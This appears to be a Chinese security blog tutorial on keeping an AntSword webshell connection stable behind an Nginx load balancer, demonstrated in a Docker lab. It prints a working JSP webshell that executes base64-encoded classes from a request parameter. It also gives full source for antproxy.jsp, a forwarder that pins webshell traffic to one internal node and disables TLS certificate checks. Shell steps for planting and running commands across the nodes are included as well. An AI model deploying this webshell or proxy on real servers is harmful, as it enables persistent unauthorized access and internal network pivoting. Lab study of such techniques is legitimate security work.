负载均衡下Webshell连接思路及难点
君衍.
- 一、应用场景
- 二、环境搭建
- 三、思路以及难点
- 1、查看内部结构
- 2、查看webshell
- 3、使用蚁剑进行连接
- 4、难点1 shell文件上传问题
- 5、难点2 命令执行时飘逸
- 6、难点3 大工具上传失败
- 7、难点4 脚本失效
- 四、解决方式
- 1、关闭对方节点服务器
- 2、基于IP地址判断是否执行
- 3、脚本实现流量转发
- 3.1 创建antproxy.jsp脚本
- 3.2 修改 Shell 配置
一、应用场景
负载均衡是一种分布式计算或网络服务的技术,旨在将工作负载(请求、数据等)均匀分配到多个服务器或网络资源上,以提高整体系统的性能、可靠性和可扩展性。同时负载均衡也是如今解决Web应用承载大流量访问问题得一种普遍方案,实现负载均衡也有多种方式,比如购买负载均衡设备、Nginx实现负载均衡、DNS负载均衡以及IP散列等方式。那么今天我们主要探讨的问题便是在负载均衡环境下进行webshell连接。
首先我们可以看下基于DNS的负载均衡:

还有nginx的基于反向代理实现的负载均衡:

我们本篇重点就在反向代理方式,也就是不能直接访问到跑着具体业务的某个节点的情况。
反向代理方式最典型的也就是Nginx所实现的负载均衡,所以,我们首先来看Nginx支持的几种负载均衡方式:
| 名称 | 策略 |
|---|---|
| 轮询(默认) | 按请求顺序逐一分配 |
| weight | 根据权重分配 |
| ip_hash | 根据客户端IP分配 |
| least_conn | 根据连接数分配 |
| fair (第三方) | 根据响应时间分配 |
| url_hash (第三方) | 根据URL分配 |
这里典型的主要是轮询以及加权,像这种ip_hash以及url_hash这种固定访问到某个节点的情况我们就没有必要再进行讨论了,所以这里我们使用默认轮询的方式来进行演示,演示环境为AntSword-Labs。本篇我们来看在负载均衡情况下进行上传Webshell的思路,首先我们来搭建环境。
二、环境搭建
准备环境: Ubuntu虚拟机、Docker环境、蚁剑
这里我使用Ubuntu虚拟机版本为22.04版本:
apt-get install docker.io
docker -v

靶场环境我们使用蚁剑作者提供的docker镜像来演示:
https://github.com/AntSwordProject/AntSword-Labs

这里我们可以先下载到本机,然后上传至虚拟机,如果嫌配置代理麻烦的话。
unzip AntSword-Labs-master.zip
mv AntSword-Labs-master ant # 这里我改个名字

下面我们到执行目录来启动靶场环境,同时它会自动拉取镜像:
cd /root/ant/loadbalance/loadbalance-jsp
docker-compose up -d

我们拉去完毕可以进行查看下:
docker ps -a

上面三个我们可以看到创建完毕,同时最后那个是我之前进行docker环境测试时候创建的。
自此,我们的环境搭建完毕,下面我们来看负载均衡环境下webshell连接思路以及难点
三、思路以及难点
1、查看内部结构
首先这里我们可以查看下它的compose文件:

在这里我们可以看到nginx的80端口映射到了主机的18080端口上,同时我们访问your-ip:8080就可以访问到这个环境下的web服务,也可以看到node1以及node2均是tomcat8。

同时在这个环境下已经上传好了脚本,上图我们可以假设在真实的业务系统下,这里是没有配置页面而已,同时这个业务系统存在一个RCE远程命令执行漏洞,我们已经上传好了脚本,可以获取webshell。
2、查看webshell
这里我们可以查看下上传脚本的位置:
docker ps -a
docker exec -it c995f68db10b /bin/bash
cd /usr/local/tomcat/webapps/ROOT/
ls -al
exit
docker exec -it 62fbc5b31021 /bin/bash
cd /usr/local/tomcat/webapps/ROOT/
ls -al
cat ant.jsp
exit

这里我们很明显可以看到很明显是一个webshell,因为上面有一个接收参数,通过接收参数ant,我们可以连接到上面一串木马。我们只需用蚁剑连就行。他这里我们发现每个节点都有木马,其实上传至一个节点,我们进行多次保存也可以实现多个节点都有。
3、使用蚁剑进行连接


完成后点击添加,就可以连接到我们的webshell了。
4、难点1 shell文件上传问题
这里我们以及上传完毕webshell,两台都上传了,所以我们在打开使用时不会出现任何错误,那如果我们只上传一台节点,我们可以来看下这种情况:
(这里我们可以先让一台节点的webshell失效)
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1be0cf1882e9 nginx:1.17 "nginx -g 'daemon of…" 31 minutes ago Up 31 minutes 0.0.0.0:18080->80/tcp, :::18080->80/tcp loadbalance-jsp-nginx-1
c995f68db10b loadbalance-jsp_lbsnode1 "catalina.sh run" 31 minutes ago Up 31 minutes 8080/tcp loadbalance-jsp-lbsnode1-1
62fbc5b31021 loadbalance-jsp_lbsnode2 "catalina.sh run" 31 minutes ago Up 31 minutes 8080/tcp loadbalance-jsp-lbsnode2-1
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it c995f68db10b /bin/bash
root@c995f68db10b:/usr/local/tomcat# find / -name ant.jsp
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@c995f68db10b:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# ls -al
total 12
drwxr-xr-x 2 root root 4096 Jan 29 03:46 .
drwxr-xr-x 1 root root 4096 Jan 29 03:46 ..
-rw-r--r-- 1 root root 316 May 17 2021 ant.jsp
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# ls -al
total 20
drwxr-xr-x 1 root root 4096 Jan 29 04:20 .
drwxr-xr-x 1 root root 4096 Jan 29 03:46 ..
-rw-r--r-- 1 root root 316 May 17 2021 ant
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT#


此时我们退出来重新连接会发现刷新目录报错了,这其实是因为我们刷新的时候请求被解析到这台我们修改过的节点服务器上,同时上面没有我们上传上去的脚本文件,所以访问不到,报错代码为404。所以这里如何让我们的webshell分布在各个节点服务器上这个是第一个问题。
这里其实我们也可以做个实验,我们在一台服务器上保存一个文件会发现这个文件时存在时不存在,也可以说明这个问题。
解决: 这里我们多保存几次即可,刷新到脚本目录下狂点保存其实也是可以做到的。所以这个相较于还是比较简单的。
5、难点2 命令执行时飘逸
好的,首先我们先还原服务器:
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# cat ant.jsp
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# exitexit
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp#
下面我们来看在负载均衡环境下执行命令所遇到的问题,这里会发生漂移现象,不知道命令在哪一台服务器上执行。我们这里到蚁剑上的虚拟终端执行命令:


这里我们可以看到一条查看IP地址的命令却发生了结果是变化的,我们就会发现这是在负载均衡的轮询方式下IP的变化,如果在权重方式,节点服务器增多,可能我们就无迹可寻。
当然这里由于在docker环境下,所以很多命令没有安装,ifconfig从而无法使用,这里我们需要在节点服务器上进行安装net-tools,如果在真实的场景下肯定是有ifconfig这个命令的。
6、难点3 大工具上传失败
这里我们在渗透时,需要上传一些工具时必然的,但是由于蚁剑上传文件时,采用的是分片上传,将一个文件分为多个片发送给目标,也就是会发送多个数据包,所以这里我们遇到一个问题,在两台甚至多台节点上,可能会有我们工具的一小部分,至于组合来源于LBS算法。所以这将是我们面临的一个大的问题。

7、难点4 脚本失效
由于我们的tomcat服务器是在内网的,不出网,我们想要获取到该服务器更多内容,我们就需要打通主机到内网的通道,我们一般用regeorg/httpabs等http 隧道工具,但是这个场景我们无法将我们的工具上传到我们的服务器上,就会导致我们无法连接到内网。

上图是regerg运行的原理图,但是由于我们的节点服务器会不断变化,所以也就会使攻击者与部署了regerg的主机之间不能保持完整的连接时间,也就无法实现与内网的连接。所以这样的环境下,使用内网工具进行部署也是一个难点。
四、解决方式
在解决第一个难点我们这里其实是可以进行多次保存。来实现webshell上传至所有节点服务器上的。所以我们这里着重讨论剩下几个难点。
1、关闭对方节点服务器
由于对于企业的服务器一个有漏洞,可能几乎剩下的节点服务器上都存在着相同的漏洞,所以这里我们有个最作死的思路就是,渗透进所有节点服务器,将节点服务器关闭,保留一台,这个想法肯定是可以解决我们的问题,但是人在不在就不一定了。
这里我们先不说权限是否足够,一般是情况下是不够的,但是这个实验的环境是docker,所以我们这里是root权限,肯定是足够的,但是,如果在真实的环境中,这里一般不会是root权限,同时,一般企业都有运维人员,同时存在着管理系统,如果一台服务器关闭了,必然会影响别人的业务,同时触发报警,那么毫无疑问,准备承担法律责任,所以这个方法比较作死,但是确实可以解决,风险巨大。
2、基于IP地址判断是否执行
这里我们可能会想到,如果我们在每次执行命令之前,先判断主机的IP地址,不就可以解决命令飘逸,所以这里我们需要写一个shell脚本,同时由于该环境后端是tomcat,所以java也可以。这里我是用shell。
1、由于该环境位于docker,没有ifconfig这个命令,所以这里我们先安装这个命令。
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1be0cf1882e9 nginx:1.17 "nginx -g 'daemon of…" About an hour ago Up About an hour 0.0.0.0:18080->80/tcp, :::18080->80/tcp loadbalance-jsp-nginx-1
c995f68db10b loadbalance-jsp_lbsnode1 "catalina.sh run" About an hour ago Up About an hour 8080/tcp loadbalance-jsp-lbsnode1-1
62fbc5b31021 loadbalance-jsp_lbsnode2 "catalina.sh run" About an hour ago Up About an hour 8080/tcp loadbalance-jsp-lbsnode2-1
113629a6f8e6 hello-world "/hello" 14 hours ago Exited (0) 14 hours ago eloquent_cohen
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it c995f68db10b /bin/bash
root@c995f68db10b:/usr/local/tomcat# apt-get update
······
root@c995f68db10b:/usr/local/tomcat# apt-get install net-tools
······
root@c995f68db10b:/usr/local/tomcat# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 172.18.0.2 netmask 255.255.0.0 broadcast 172.18.255.255ether 02:42:ac:12:00:02 txqueuelen 0 (Ethernet)RX packets 4429 bytes 29895346 (29.8 MB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 3968 bytes 233047 (233.0 KB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@c995f68db10b:/usr/local/tomcat# docker exec -it 62fbc5b31021 /bin/bash
bash: docker: command not found
root@c995f68db10b:/usr/local/tomcat# exit
exit
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it 62fbc5b31021 /bin/bash
root@62fbc5b31021:/usr/local/tomcat# apt-get update
······
root@62fbc5b31021:/usr/local/tomcat# apt-get install net-tools
······
root@62fbc5b31021:/usr/local/tomcat# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 172.18.0.3 netmask 255.255.0.0 broadcast 172.18.255.255ether 02:42:ac:12:00:03 txqueuelen 0 (Ethernet)RX packets 4219 bytes 29869959 (29.8 MB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 3218 bytes 186078 (186.0 KB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@62fbc5b31021:/usr/local/tomcat#
到这里我们已经在两台服务器上都安装了ifconfig这个命令,如下图:

下面我们将使用grep将IP地址筛选出来:
ifconfig | grep 'inet 172' | awk '{print $2}'

好的,接下来我们编写shell脚本来完成对IP地址的判断,从而完成命令基于IP地址的执行。
(这里判断完IP地址对于命令执行我们使用id来代表所需执行的命令)
所以下面这个shell就是我们所需的脚本:
#!/bin/bashMYIP=$(ifconfig | grep "inet 172" | awk '{print $2}' | cut -d'/' -f1)if [ "$MYIP" = "172.18.0.2" ]; thenecho "execute command"id
elseecho "try again!!!!"
fi


疯狂保存,才可成功,
下面我们增加执行权限。也是多点几次,使他能在两个服务器都执行
chmod +x demo.sh


这样我们是能确保我们执行的命令在我们想要的机器上,但是这样执行命令挺麻烦,甚至时常蚁剑的中断内运行会出现问题,在真机上测试正常,所以不推荐使用。
3、脚本实现流量转发
我们使用蚁剑确实没法直接去访问LBSnode1内网IP的8080端口,但是除了nginx访问外,LBSnode2服务器可以访问node1的8080端口。也就是说我们可以写一个脚本来判断流量的目的IP地址,判断不是node1,就将流量转发到node1的ant.jsp即可,这样可以实现稳定连接。

如上图所示,我们可以看到内网的两台节点服务器是可以进行相互通信的。
curl http://172.18.0.3:8080 -X HEAD -v
所以我们的转发过程大概如下如所示:

这里我们看这张图,可以看到首先连接请求到达nginx进行负载均衡,然后交给节点服务器进行处理,交给node1,那么它就会访问antproxy.jsp文件,将流量转发到172.18.0.2节点上的ant.jsp,同时如果交给node2,那么它就会访问节点2的antproxy.jsp文件,同样将流量转发给172.18.0.2节点上的ant.jsp文件,从而实现稳定的通信。
3.1 创建antproxy.jsp脚本
这里我们修改转发地址,转发至node的内网IP的目标脚本,访问地址。


脚本如下:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!public static void ignoreSsl() throws Exception {HostnameVerifier hv = new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}@Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}@Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc = SSLContext.getInstance("TLS");sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%><%String target = "http://172.18.0.2:8080/ant.jsp";URL url = new URL(target);if ("https".equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn = (HttpURLConnection)url.openConnection();StringBuilder sb = new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out2 = conn.getOutputStream();DataInputStream in=new DataInputStream(request.getInputStream());byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream = conn.getInputStream();OutputStream out3=response.getOutputStream();int len2 = 0;while ((len2 = inputStream.read(buf)) != -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%>
注意:
- a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。
- b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本。
3.2 修改 Shell 配置
同时将 URL 部分填写为 antproxy.jsp 的地址

这下我们进行查看IP地址测试,看还会是否飘逸:

这里我们可以看到IP地址已经停止飘逸了,也就是说,我们可以稳定连接到节点服务器1了。

这里我们可以查看下tomcat的日志,可以看到访问成功的数据日志。
tail localhost_access_log.2024-01-29.txt
Node1 和 Node2 通过相互访问 Node1 上的 /ant.jsp 文件,符合 nginx 在此时的负载均衡(LBS)策略。
- 在优点方面,这种方法具有低权限即可完成的特点。即使权限较高,仍可以通过端口层面直接转发,但与 Plan A 关闭服务的效果相似。在流量方面,该方法仅影响访问 WebShell 的请求,不会影响其他正常业务请求。此外,这种方式还能适配更多的工具。
- 然而,存在一些缺点。该方案要求“目标 Node”和“其他 Node”之间建立内网互通,如果无法实现内网互通,该方案将失效。因此,确保内网通信安全的加固方案至关重要。
相关文章:
负载均衡下Webshell连接思路及难点
君衍. 一、应用场景二、环境搭建三、思路以及难点1、查看内部结构2、查看webshell3、使用蚁剑进行连接4、难点1 shell文件上传问题5、难点2 命令执行时飘逸6、难点3 大工具上传失败7、难点4 脚本失效 四、解决方式1、关闭对方节点服务器2、基于IP地址判断是否执行3、脚本实现流…...
基于链表实现贪吃蛇游戏
本文中,我们将使用链表和一些Win32 API的知识来实现贪吃蛇小游戏 一、功能 (1)游戏载入界面 (2)地图的绘制 (3)蛇身的移动和变长 (4)食物的生成 (5&…...
Python网络爬虫实战——实验6:Python实现js逆向与加解密
【实验内容】 本实验主要介绍在数据采集过程中对js代码进行分析从而对加密字段进行解密。 【实验目的】 1、理解js逆向工程的概念 2、学会逆向工程中的加解密分析 【实验步骤】 步骤1 理解js逆向工程的概念 步骤2 学会逆向工程中的加解密分析 步骤3 采集广东政府采购网 步…...
【python】使用aiohttp库编写一个简单的异步服务器
1. aiohttp介绍 aiohttp 是一个用于编写异步 HTTP 客户端和服务器的 Python 库。它建立在 Python 的 asyncio 库之上,提供了一种方便的方式来处理异步请求和响应。 官网地址:Welcome to AIOHTTP — aiohttp 3.9.1 documentation 以下是 aiohttp 的一些…...
新手使用代理IP接入代码教程
“实现匿名访问与数据保护在当今互联网高速发展的时代,网络安全和隐私保护成为了越来越重要的议题。代理IP可以隐藏用户的真实IP地址,从而实现匿名访问。为了保护用户的隐私和数据安全,许多网站和应用程序都采用了代理IP技术。” 一、代理IP的…...
JVM问题排查手册
三万字长文:JVM内存问题排查Cookbook 一、Heap快照 # jmap命令保存整个Java堆(在你dump的时间不是事故发生点的时候尤其推荐) jmap -dump:formatb,fileheap.bin <pid> # jmap命令只保存Java堆中的存活对象, 包含live选项,…...
前端canvas项目实战——简历制作网站(三)——右侧属性栏(线条宽度样式)
目录 前言一、效果展示二、实现步骤1. 实现线条宽度(strokeWidth)的属性模块2. 实线线条样式(strokeDashArray)的属性模块3. 意料之外的“联动” 三、Show u the code后记 前言 上一篇博文中,我们初步实现了右侧属性栏…...
字节跳动二面经典题目
前言 语论即为「语兴式论语」,以语录体及对话的形式,沉淀球友实际工作学习中存在的疑难杂症解答,希望能够更好的帮助到球友和粉丝。欢迎关注公众号:语数 本期投稿 本期语数精选来源于球友应对字节跳动二面时候的场景问题 数仓工程…...
微搭低代码从入门到精通01应用介绍
目录 1 学习路线图2 应用介绍3 编辑器介绍总结 低代码的概念于2014年由 Forrester 首次正式提出。其将低代码定义为:能够以“最少的手写代码”和设置快速开发应用、配置和部署业务应用程序。 不同应用厂商的解法不一样,Gartner评估了400多款低代码/无代码…...
论文阅读《thanking frequency fordeepfake detection》
项目链接:https://github.com/yyk-wew/F3Net 这篇论文从频域的角度出发,提出了频域感知模型用于deepfake检测的模型 整体架构图: 1.FAD: 频域感知分解,其实就是利用DCT变换,将空间域转换为频域ÿ…...
ArcgisForJs快速入门
文章目录 0.引言1.前端代码编辑工具2.使用ArcgisForJs创建一个简单应用3.切片地图服务图层4.动态地图服务图层5.地图事件 0.引言 ArcGIS API for JavaScript是一款由Esri公司开发的用于创建WebGIS应用的JavaScript库。它允许开发者通过调用ArcGIS Server的REST API,…...
【解决方法】git pull报错ssh: connect to host github.com port 22: Connection timed out
问题 git pull ssh: connect to host github.com port 22: Connection timed out fatal: Could not read from remote repository.解决方法 在C:\Users\username.ssh文件夹下新建config文件,填入以下文本(如有则直接在文件最后一行新增)&am…...
30天精通Nodejs--第三十天:项目实战-物联网应用
目录 引言架构设计编码创建项目数据服务模拟设备消息接收并保存设备数据后端接口项目启动及接口测试项目启动测试源码地址结语引言 在之前的一系列文章中,我们已系统性地探讨了诸多Node.js相关的技术要点与理论背景。随着知识体系的铺垫到位,我们现在步入了实战环节。接下来…...
java 社区资源管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目
一、源码特点 java Web社区资源管系统是一套完善的java web信息管理系统 ,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为Mysql5.…...
网络编程套接字(Socket)
为什么需要网络编程??? -丰富的网络资源 每天你在b站上刷着喜欢的up主的视频,实质是通过网络,获取到网络上的一个视频资源 与本地打开文件类似,只是视频文件这个资源来源是网络 所谓的网络编程,其实就是从网络上获取各种数据资源 什么是网络编程?? 网络编程,指的是网络…...
C语言第十一弹---函数(下)
✨个人主页: 熬夜学编程的小林 💗系列专栏: 【C语言详解】 【数据结构详解】 函数 1、嵌套调用和链式访问 1.1、嵌套调用 1.2、链式访问 2、函数的声明和定义 2.1、单个文件 2.2、多个文件 2.3、static 和 extern 2.3.1、static…...
Unity读书系列《Unity3D游戏开发》——拓展编辑器(一)
文章目录 前言一、扩展Project视图1、右键扩展菜单(Asset)2、监听事件3、拓展布局 二、扩展Hierarchy视图1、拓展菜单(GameObject)2、拓展布局3、重写菜单 三、扩展Inspector视图1、扩展原生组件2、扩展继承组件 四、扩展Scene视图…...
【Git】项目管理笔记
文章目录 本地电脑初始化docker报错.gitignoregit loggit resetgit statusgit ls-filesgit rm -r -f --cached拉取仓库文件更新本地的项目报错处理! [rejected] master -> master (fetch first)gitgitee.com: Permission denied (publickey).error: remote origin already e…...
中文词性标注工具pkuseg例子(运行结果,不太好)
pkuseg_demo.md pkuseg 预训练模型 预训练模型science 安装 pip3 install pkuseg cd /rot/pkuseg_home/model/wget https://github.com/lancopku/pkuseg-python/releases/download/v0.0.25/science.zip uzip science.zip -d ./science/ ls /rot/pkuseg_home/model/science/…...
获取URL参数:split方法、URLSearchParams方法示例
在JavaScript中,可以使用多种方法来获取URL参数,其中常用的方法有split()和URLSearchParams()。 使用split()方法获取URL参数: split()方法将字符串分割成数组。可以使用split()方法将URL分割成协议、主机、路径和查询字符串等部分。然后可…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
return this;返回的是谁
一个审批系统的示例来演示责任链模式的实现。假设公司需要处理不同金额的采购申请,不同级别的经理有不同的审批权限: // 抽象处理者:审批者 abstract class Approver {protected Approver successor; // 下一个处理者// 设置下一个处理者pub…...
【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制
使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下,限制某个 IP 的访问频率是非常重要的,可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案,使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...
基于Java+VUE+MariaDB实现(Web)仿小米商城
仿小米商城 环境安装 nodejs maven JDK11 运行 mvn clean install -DskipTestscd adminmvn spring-boot:runcd ../webmvn spring-boot:runcd ../xiaomi-store-admin-vuenpm installnpm run servecd ../xiaomi-store-vuenpm installnpm run serve 注意:运行前…...
如何应对敏捷转型中的团队阻力
应对敏捷转型中的团队阻力需要明确沟通敏捷转型目的、提升团队参与感、提供充分的培训与支持、逐步推进敏捷实践、建立清晰的奖励和反馈机制。其中,明确沟通敏捷转型目的尤为关键,团队成员只有清晰理解转型背后的原因和利益,才能降低对变化的…...
LOOI机器人的技术实现解析:从手势识别到边缘检测
LOOI机器人作为一款创新的AI硬件产品,通过将智能手机转变为具有情感交互能力的桌面机器人,展示了前沿AI技术与传统硬件设计的完美结合。作为AI与玩具领域的专家,我将全面解析LOOI的技术实现架构,特别是其手势识别、物体识别和环境…...
协议转换利器,profinet转ethercat网关的两大派系,各有千秋
随着工业以太网的发展,其高效、便捷、协议开放、易于冗余等诸多优点,被越来越多的工业现场所采用。西门子SIMATIC S7-1200/1500系列PLC集成有Profinet接口,具有实时性、开放性,使用TCP/IP和IT标准,符合基于工业以太网的…...
vue3 daterange正则踩坑
<el-form-item label"空置时间" prop"vacantTime"> <el-date-picker v-model"form.vacantTime" type"daterange" start-placeholder"开始日期" end-placeholder"结束日期" clearable :editable"fal…...
0x-3-Oracle 23 ai-sqlcl 25.1 集成安装-配置和优化
是不是受够了安装了oracle database之后sqlplus的简陋,无法删除无法上下翻页的苦恼。 可以安装readline和rlwrap插件的话,配置.bahs_profile后也能解决上下翻页这些,但是很多生产环境无法安装rpm包。 oracle提供了sqlcl免费许可,…...
